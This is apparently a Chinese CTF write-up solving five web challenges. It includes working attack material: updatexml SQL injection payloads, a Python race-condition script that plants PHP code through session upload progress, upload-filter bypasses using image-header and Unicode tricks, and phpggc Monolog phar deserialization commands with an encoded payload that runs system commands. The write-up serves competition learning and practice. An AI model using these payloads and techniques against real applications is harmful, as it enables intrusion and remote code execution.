今年比去年难多了也卷多了还脑洞多了,期待后面的wp。
easy_sql
无列名报错注入,猜了个flag表
# 数据库
admin') or updatexml(1,concat(0x7e,(select database()),0x7e),1);#
# 字段名
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b)c),0x7e),1);#
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b using(id))c),0x7e),1);#
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b using(id, no))c),0x7e),1);#
# 字段内容
admin') or updatexml(1,concat(0x7e,((select `515cfb55-44dc-4022-a06e-99fdfc64d691` from security.flag)),0x7e),1);#
admin') or updatexml(1,concat(0x7e,right((select `515cfb55-44dc-4022-a06e-99fdfc64d691` from security.flag), 30),0x7e),1);#
easy_source
纯原题,就离谱:https://r0yanx.com/2020/10/28/fslh-writeup/
而且出的纯尼玛脑洞,开局也不提示扫描,本来原题有提示扫描源码。
有个极其稀有的源码文件index.php.swo,我只测试了.index.php.swp。
然后说文件里面还有什么,这里指的是注释,所以使用PHP一个原生类,读取文件注释。
$method = new ReflectionMethod('User', 'b');
var_dump($method->getDocComment());
类ReflectionMethod(‘User’, ‘b’)实例化User类的b方法。
getDocComment读取注释。
总之这题就很离谱啊,纯脑洞,感觉没意思
middle_source
这题关键解法也很脑洞,感觉国赛的题目都要去扫目录的一堆非常规的敏感文件…..
题目源码:
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];
if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?>
比较诡异的是读进来的$fielf变量没用,反而用了$field变量,不经让人怀疑是不是出题人写错了orz,客服后面又没回,虽然最后我们还是凹出来了,但是还是很不爽
需要扫描目录扫到.listing文件,这玩意完全没听过
然后发现有个文件叫you_can_seeeeeeee_me.php,可以拿到phpinfo,发现了session.save_path,这玩意被出题人改成了不规则字母,有很明显的手动添加痕迹。
然后就利用SESSION_UPLOAD_PROGRESS上传文件,它的cleanup和enabled都是on,所以需要条件竞争。
学弟想到的,学弟太强了orz
import requests
import threading
import io
def post():
sessid = '2846ee569600018f0cf748bf66edd8dc'
session = requests.session()
while True:
response = session.post(
url='http://124.71.230.240:25934',
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php var_dump(scandir('/etc/ehcfcbcedi/ecebdbacbd/eaidcddbbi/edfgdffeaf/eeahaeffac/fl444444g'));?>",
'cf': f'../../../../var/lib/php/sessions/figceadcfh/sess_{sessid}'},
cookies={'PHPSESSID': f'{sessid}'},
files={"file": ('tmp.txt', '')}
)
# response = requests.post(url='http://124.71.230.240:25934', data=data, cookies=cookies)
# print(response.text)
if '..' in response.text:
print(response.text)
exit()
def flag():
url = 'http://124.71.230.240:25934'
data = {'cf': '../../../../etc/ehcfcbcedi/ecebdbacbd/eaidcddbbi/edfgdffeaf/eeahaeffac/fl444444g'}
response = requests.post(url=url, data=data)
print(response.text)
flag()
# for i in range(128):
# thread = threading.Thread(target=post)
# thread.start()
对了disable_function还限制了禁止上传shell,但是scandir之类的函数还能用,所以直接扫到flag目录,在用题目的文件包含就出了。
Upload
这题在BUU有环境了,当时没做出来,就过去复现,参考羽师傅。
目录下两个文件,index.php以及example.php,又要扫描目录。
index.php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}
example.php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}
echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}
}
index.php有个文件上传的点,但是经过了过滤,index有个比较陌生的函数
array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
getimagesize()
函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
如果获取成功,返回的数组内容如下:
- 索引 0 给出的是图像宽度的像素值
- 索引 1 给出的是图像高度的像素值
- 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
- 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
- 索引 bits 给出的是图像的每种颜色的位数,二进制格式
- 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
- 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);
可以通过伪造文件头绕过,例如以下文件头:
with open('png.php','wb') as f:
f.write(b'\x89PNG\r\n\x1a\n<?php phpinfo(); ?>')
with open('gif.php','wb') as f:
f.write(b'GIF89a<?php phpinfo(); ?>')
这里通过XBM文件格式绕过长宽设置
#define width 1
#define height 1
我们可以本地测试一下
根据example.php文件,我们应该要上传一个.zip文件,但是index.php过滤了字母i,这里当时把我们卡死了,看到师傅通过Unicode绕过了这个mb_strtolower检测。
看一下这个函数:
mb_strtolower ( string $str , string $encoding= mb_internal_encoding() ):字符串
将字符串转换为小写
和 strtolower() 不同的是,“字母”字符的检测是根据字符的 Unicode 属性。 因此函数的行为不会受语言设置的影响,能偶转换任意具有“字母”属性的字符,例如元音变音 A(Ä)。
它具有的特点是能转换任意具有字母属性的字符,测试一下:
<?php
var_dump(mb_strtolower('Ⅰ'));
var_dump(strtolower('Ⅰ'));
var_dump(mb_strtolower('İ'));
var_dump(strtolower('İ'));
发现在版本5.2、5.4、7.3时,四个dump值都是false,当版本号为5.6以及7.1时,
var_dump(mb_strtolower('İ'));
为真,所以这是一个限制了版本的函数利用,目前唯一一个找到能利用的字符:
https://unicode-table.com/cn/0130/
由于有urldecode,所以直接用%c4%b0表示。
最后是绕过图片检查,用这个脚本来制作一个图片马,之前也没接触过这玩意儿。将脚本的payload复制到CyberChef
得到的数据通过010editor修改:
修改后内容如下:
压缩,复制出16进制
修改payload的内容:
生成exp:
修改图片后缀为php然后压缩成zip上传
filter
6月15日复现,phar确实没怎么玩过,yii+phar让我学到了很多。
题目的Tips:
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看SiteController.php相较于原yii源码,只修改了一处地方。
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
看一下逻辑,通过GET方式获取file变量,将$file通过file_get_contents读取到$res,并通过file_put_contents再写回文件。看起来只是一个来回读写文件的操作,实际上可以用文件操作函数phar伪协议进行反序列化。
接着看composer.json,我这里拿的是2.0.37的yii2,compare后只有一处不同,于是猜测版本,以及固有的反序列化漏洞。
发现多了一行
"monolog/monolog":"1.19"
而这个版本存在RCE漏洞,看一下phpggc的monolog/RCE1:
用phpggc生成exp:
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
清空日志文件:
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
写入日志,注意最后加上个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar
协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
exp:
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"